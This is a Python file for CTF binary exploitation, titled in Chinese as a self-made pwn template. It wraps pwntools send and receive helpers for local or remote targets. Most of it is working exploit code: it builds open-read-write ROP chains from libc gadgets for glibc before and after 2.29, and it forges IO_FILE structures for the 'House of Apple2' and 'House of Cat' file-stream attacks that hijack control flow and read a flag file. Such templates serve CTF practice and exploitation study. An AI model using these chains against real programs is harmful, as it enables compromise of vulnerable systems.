自己编的pwn的板子
# -*- coding: utf-8 -*-
from __future__ import absolute_import
from __future__ import division
import abc
import logging
import os
import re
import six
import string
import subprocess
import sys
import threading
import time
from six.moves import range
from pwnlib import atexit
from pwnlib import term
from pwnlib.context import context
from pwnlib.log import Logger
from pwnlib.timeout import Timeout
from pwnlib.tubes.buffer import Buffer
from pwnlib.util import misc
from pwnlib.util import packing
from pwnlib import qemu
from pwnlib.context import context
from pwnlib.log import getLogger
from pwnlib.timeout import Timeout
from pwnlib.tubes.tube import tube
from pwnlib.util.misc import parse_ldd_output
from pwnlib.util.misc import which
from pwnlib.util.misc import normalize_argv_env
from pwnlib.util.packing import _need_bytes
from pwn import *
from pwncli import *
class mypwn():
procedurename=None
host=None
port=None
procedure=None
def __init__(self, procedurename):
self.procedurename=str(procedurename)
if ':' in self.procedurename:#如果是远端
self.host,self.port=self.procedurename.split(':')
self.procedure=remote(self.host,int(self.port))
else:
self.procedure=process(self.procedurename)
def debug(self):
attach(self.procedure)
pause()
def sd(self,payload):
self.procedure.send(payload)
def sda(self,delim,payload,timeout=0):
if timeout == 0:
self.procedure.sendafter(delim,payload)
else:
self.procedure.sendafter(delim,payload,timeout=timeout)
def sl(self,payload):
self.procedure.sendline(payload)
def sla(self,delim,payload,timeout=0):
if timeout == 0:
self.procedure.sendlineafter(delim,payload)
else:
self.procedure.sendlineafter(delim,payload,timeout=timeout)
def ia(self):
self.procedure.interactive()
def rcv(self,num):
self.procedure.recv(num)
def rcvu(self,delim,timeout=0):
if timeout == 0:
self.procedure.recvuntil(delim)
else:
self.procedure.recvuntil(delim,timeout=timeout)
def rnu(self,delim,size,timeout=0):
if timeout == 0:
self.procedure.recvuntil(delim)
self.procedure.recv(size)
else:
self.procedure.recvuntil(delim,timeout=timeout)
self.procedure.recv(size)
def uu64(self):
return u64(self.procedure.recv(6).ljust(8,b'\x00'))
def gift(self, delim):
self.procedure.recvuntil(delim)
content = self.procedure.recv(14)
return int(content, 16)
'''
参数说明:
libcversion:显示指出libc版本,如2.35,2.23等
libcelf:传入一个libc的elf文件
libcbase:传入libc基址
flagaddr:flag字符串地址
payloadposition:这段payload你放在哪里了,2.29以下就是rdi指向的位置,2.29以上就是rdx指向的位置
例:orw(2.35,libc,libcbase,flagaddr,target_addr)
'''
def orw(self, libcversion, libcelf, libcbase, flagaddr, payloadposition): # libcversion用于判断是2.29以上还是以下,libcelf传入的是一个ELF文件
libcversion = str(libcversion)
libcversion = int(libcversion.split('.')[1], 10)
rop = ROP(libcelf)
rsp = payloadposition + 8
if libcversion >= 29:
pop_r12 = rop.find_gadget(['pop r12', 'ret']).address + libcbase
pop_rsi = rop.find_gadget(['pop rsi', 'ret']).address + libcbase
pop_rdi = rop.find_gadget(['pop rdi', 'ret']).address + libcbase
pop_rax = rop.find_gadget(['pop rax', 'ret']).address + libcbase
pop_r12_r13 = rop.find_gadget(['pop r12', 'pop r13', 'ret']).address + libcbase
pop_rax_rdx_rbx = rop.find_gadget(['pop rax', 'pop rdx', 'pop rbx', 'ret']).address + libcbase
syscall = rop.find_gadget(['syscall', 'ret']).address + libcbase
setcontextaddr = libcelf.symbols['setcontext'] + 61 + libcbase
payload = p64(0) + p64(2)
payload += p64(syscall) + p64(pop_r12)
payload += p64(setcontextaddr) + p64(pop_rsi)
payload += p64(flagaddr) + p64(pop_rdi)
payload += p64(3) + p64(pop_rax)
payload += p64(0) + p64(syscall)
payload += p64(pop_r12_r13) + p64(flagaddr)
payload += p64(4) + p64(pop_rax_rdx_rbx)
payload += p64(1) + p64(300)
payload += p64(0) + p64(pop_r12)
payload += p64(rsp) + p64(pop_rax)
payload += p64(1) + p64(pop_rdi)
payload += p64(1) + p64(syscall)
else:
pop_rax = rop.find_gadget(['pop rax', 'ret']).address + libcbase
syscall = rop.find_gadget(['syscall', 'ret']).address + libcbase
pop_rdi = rop.find_gadget(['pop rdi', 'ret']).address + libcbase
pop_rdx_rsi = rop.find_gadget(['pop rdx', 'pop rsi', 'ret']).address + libcbase
pop_r13_r14_r15 = rop.find_gadget(['pop r13', 'pop r14', 'pop r15', 'ret']).address + libcbase
payload = p64(pop_rax) + p64(2) # open
payload += p64(syscall) + p64(pop_rdx_rsi)
payload += p64(300) + p64(flagaddr)
payload += p64(pop_rdi) + p64(3)
payload += p64(pop_rax) + p64(0) # read
payload += p64(syscall) + p64(pop_r13_r14_r15)
payload += p64(0) + p64(flagaddr)
payload += p64(4) + p64(pop_rdi)
payload += p64(1) + p64(pop_rax) # write
payload += p64(1) + p64(syscall)
payload += p64(rsp) + p64(pop_rax)
return payload
'''
target_addr指向rdx的位置,即orwpayload所在的位置
payloadposition指向整个apple2 payload的所在位置,即rdi(f2)的位置,整个payload是从rdi指向位置开始算的(不是堆块可写位置),如果有f1的话,那么它就是f1.chain
magic_gadget传入mov rdx,[rdi+8];...;call [rdx+0x20]的地址
'''
def apple2(self, payloadposition, libcbase, libcelf, magic_gadget):
data = ''
f2 = IO_FILE_plus_struct()
f2._IO_read_ptr = payloadposition+0x270
f2._IO_write_ptr = 1
f2._flags2 = 8
# f2._lock = _lock
f2._mode = 0
f2._wide_data = payloadposition + 0x100
f2.vtable = libcelf.symbols['_IO_wfile_jumps'] + libcbase
data = flat({
0x0: bytes(f2),#payloadposition
0x100: {
0: [0, 0, 0, 0, 0, 0, 0],
0xe0: payloadposition + 0x200,
},
0x240:b'flag\0',
0x248:[0,0,0],
0x268: magic_gadget,
0x270: self.orw(2.35,libcelf,libcbase,payloadposition+0x240,payloadposition+0x270)
})
return data
def cat(self,payloadposition, libcbase, libcelf):
f2 = IO_FILE_plus_struct()
f2._IO_read_ptr = payloadposition + 0x200
f2._IO_write_ptr = 1
f2._mode = 1
f2._lock = payloadposition
f2._wide_data = payloadposition + 0xd0
f2.vtable = libcelf.symbols['_IO_wfile_jumps'] + libcbase + 0x10
flagaddr = payloadposition + 0x120
data = flat({
0x0: bytes(f2)[16:], # payloadposition
0xd0: [0, 0],
0xe0: payloadposition + 0x200,
0xf0: {
0: [0, 0, 0, 0],
0x20: b'flag\0',
0xb0: payloadposition + 0x208,
},
0x1f0: self.orw(2.35,libcelf,libcbase,flagaddr,payloadposition+0x200),
})
return data
def iofile(flags=0,read_ptr=0,read_end=0,read_base=0,
write_base=0,write_ptr=0,write_end=0,
buf_base=0,buf_end=0,
save_base=0,backup_base=0,save_end=0,
markers=0,chain=0,fileno=0,flag2=0,lock=0):
f = p64(flags) + p64(read_ptr) + \
p64(read_end) + p64(read_base) + \
p64(write_base) + p64(write_ptr) + \
p64(write_end) + p64(buf_base) + \
p64(buf_end) + p64(save_base) + \
p64(backup_base) + p64(save_end) + \
p64(markers) + p64(chain) + \
p64(fileno) + p64(flag2) + \
p64(0) + p64(lock)
f = f.ljust(0xd0,b'\x00')
return f
if __name__ == '__main__':
p=mypwn('./srop')
# sh=process('srop')
p.debug()
# p.ia()
# sh.sendlineafter()